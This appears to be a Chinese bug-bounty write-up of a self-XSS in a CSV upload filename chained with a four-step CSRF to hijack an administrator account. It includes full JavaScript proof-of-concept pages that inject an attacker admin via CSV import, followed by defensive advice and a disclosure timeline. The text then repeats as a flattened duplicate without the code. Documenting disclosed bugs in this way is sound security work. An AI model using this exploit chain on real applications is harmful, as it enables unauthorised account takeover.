挖洞经验 | 从XSS漏洞到四步CSRF利用实现账户劫持
字数 972 2025-08-18 11:38:41

从XSS到四步CSRF实现账户劫持的技术分析

漏洞背景

目标系统是一个为企业托管服务的应用平台,用户可注册并使用相关服务,涉及大量敏感信息处理。测试者通过发现XSS漏洞并串联多个CSRF漏洞,最终实现了管理员账户劫持。

漏洞发现过程

1. XSS漏洞发现

测试点:CSV文件上传功能中的文件名参数

绕过过滤技巧

  • 目标系统对用户输入内容进行了特殊字符过滤
  • 通过构造文件名实现XSS注入:.csv

限制

  • 该XSS仅在文件上传时触发,上传后服务端会进行编码过滤
  • 属于Self-XSS,无法直接利用

2. CSRF漏洞确认

发现:目标系统缺乏CSRF防护机制

初步利用尝试

<html>
<body>
<script>
function submitRequest() {
  var xhr = new XMLHttpRequest();
  xhr.open("POST", `https://company.com/users/uploadFile?uploadId=${uploadId}`, true);
  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=1566359571913061724703232384");
  xhr.withCredentials = true;
  var body = "--1566359571913061724703232384\r\n" +
             "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\".csv\"\r\n" +
             "Content-Type: text/csv\r\n" +
             "\r\n" +
             "Company,User ID,LAST NAME,FIRST NAME,Access,Type,Email\r\n" +
             "H1 Company,999,Takeover,Account,System Admin,Administrator,neemaPoC@gmail.com\r\n" +
             "--1566359571913061724703232384\r\n" +
             "Content-Disposition: form-data; name=\"rosterType\"\r\n" +
             "\r\n" +
             "staff\r\n" +
             "--1566359571913061724703232384--\r\n";
  var aBody = new Uint8Array(body.length);
  for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
  xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
  <input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

问题:目标系统端点有过滤防护,XSS Payload无法被解析触发

四步CSRF漏洞利用

CSV文件上传流程分析

  1. POST请求执行上传 (/users/uploadFile)
  2. 错误修复检查 (/users/upload)
  3. 解析修改内容 (/users/fix)
  4. 预览并提交 (/users/submitToPreview/users/submitImport)

漏洞利用关键点

  1. 时间控制:使用setTimeout精确控制各步骤执行间隔
  2. 状态维持:利用uploadId保持会话连续性
  3. 权限提升:通过CSV文件注入管理员账户信息

完整PoC代码

<html>
<body>
<script>
function xhrRequest(url) {
  var xhr = new XMLHttpRequest();
  xhr.open('GET', url);
  xhr.withCredentials = true;
  xhr.send(null);
}

function submitRequest() {
  var xhr = new XMLHttpRequest();
  xhr.open("POST", `https://company.com/users/uploadFile?uploadId=${uploadId}`, true);
  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=1566359571913061724703232384");
  xhr.withCredentials = true;
  var body = "--1566359571913061724703232384\r\n" +
             "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"neema.csv\"\r\n" +
             "Content-Type: text/csv\r\n" +
             "\r\n" +
             "Company,User ID,LAST NAME,FIRST NAME,Access,Type,Email\r\n" +
             "Company,999,Takeover,Account,System Admin,Administrator,neemaPoC@gmail.com\r\n" +
             "--1566359571913061724703232384\r\n" +
             "Content-Disposition: form-data; name=\"rosterType\"\r\n" +
             "\r\n" +
             "staff\r\n" +
             "--1566359571913061724703232384--\r\n";
  var aBody = new Uint8Array(body.length);
  for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
  xhr.send(new Blob([aBody]));
  
  window.setTimeout(function() {
    window.open(`https://company.com/users/upload?uploadId=${uploadId}`);
    window.setTimeout(function() {
      xhrRequest(`https://company.com/users/fix?uploadId=${uploadId}`);
      window.setTimeout(function() {
        xhrRequest(`https://company.com/users/submitToPreview?uploadId=${uploadId}`);
        window.setTimeout(function() {
          xhrRequest(`https://company.com/users/submitImport?uploadId=${uploadId}`);
        }, 2000);
      }, 2000);
    }, 2000);
  }, 2000);
}
</script>
<form action="#">
  <input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

攻击效果

  1. 攻击者构造的CSV文件中包含新的管理员账户信息
  2. 当管理员访问恶意页面时,自动完成四步CSRF攻击
  3. 系统添加攻击者为管理员,攻击者邮箱收到凭据
  4. 攻击者登录后可删除原有管理员账户,完全控制系统

防御建议

  1. XSS防御

    • 对所有用户输入进行严格过滤和编码
    • 实现内容安全策略(CSP)
  2. CSRF防御

    • 添加CSRF Token验证
    • 检查Referer头
    • 对敏感操作要求二次验证
  3. 权限管理

    • 关键操作(如添加管理员)需要多重验证
    • 实现操作日志审计
  4. 文件上传安全

    • 严格限制上传文件类型
    • 对上传内容进行安全扫描
    • 重命名上传文件避免特殊字符执行

漏洞时间线

  1. 第一天:漏洞初报
  2. 第二天:确认为高危漏洞
  3. 第三天:获得$3,000奖励
  4. 第七天:漏洞修复完成

该案例展示了如何通过串联多个中危漏洞实现高危攻击,强调了系统安全需要全面防御,任何环节的疏忽都可能导致严重后果。

从XSS到四步CSRF实现账户劫持的技术分析 漏洞背景 目标系统是一个为企业托管服务的应用平台,用户可注册并使用相关服务,涉及大量敏感信息处理。测试者通过发现XSS漏洞并串联多个CSRF漏洞,最终实现了管理员账户劫持。 漏洞发现过程 1. XSS漏洞发现 测试点 :CSV文件上传功能中的文件名参数 绕过过滤技巧 : 目标系统对用户输入内容进行了特殊字符过滤 通过构造文件名实现XSS注入: .csv 限制 : 该XSS仅在文件上传时触发,上传后服务端会进行编码过滤 属于Self-XSS,无法直接利用 2. CSRF漏洞确认 发现 :目标系统缺乏CSRF防护机制 初步利用尝试 : 问题 :目标系统端点有过滤防护,XSS Payload无法被解析触发 四步CSRF漏洞利用 CSV文件上传流程分析 POST请求执行上传 ( /users/uploadFile ) 错误修复检查 ( /users/upload ) 解析修改内容 ( /users/fix ) 预览并提交 ( /users/submitToPreview → /users/submitImport ) 漏洞利用关键点 时间控制 :使用 setTimeout 精确控制各步骤执行间隔 状态维持 :利用 uploadId 保持会话连续性 权限提升 :通过CSV文件注入管理员账户信息 完整PoC代码 攻击效果 攻击者构造的CSV文件中包含新的管理员账户信息 当管理员访问恶意页面时,自动完成四步CSRF攻击 系统添加攻击者为管理员,攻击者邮箱收到凭据 攻击者登录后可删除原有管理员账户,完全控制系统 防御建议 XSS防御 : 对所有用户输入进行严格过滤和编码 实现内容安全策略(CSP) CSRF防御 : 添加CSRF Token验证 检查Referer头 对敏感操作要求二次验证 权限管理 : 关键操作(如添加管理员)需要多重验证 实现操作日志审计 文件上传安全 : 严格限制上传文件类型 对上传内容进行安全扫描 重命名上传文件避免特殊字符执行 漏洞时间线 第一天:漏洞初报 第二天:确认为高危漏洞 第三天:获得$3,000奖励 第七天:漏洞修复完成 该案例展示了如何通过串联多个中危漏洞实现高危攻击,强调了系统安全需要全面防御,任何环节的疏忽都可能导致严重后果。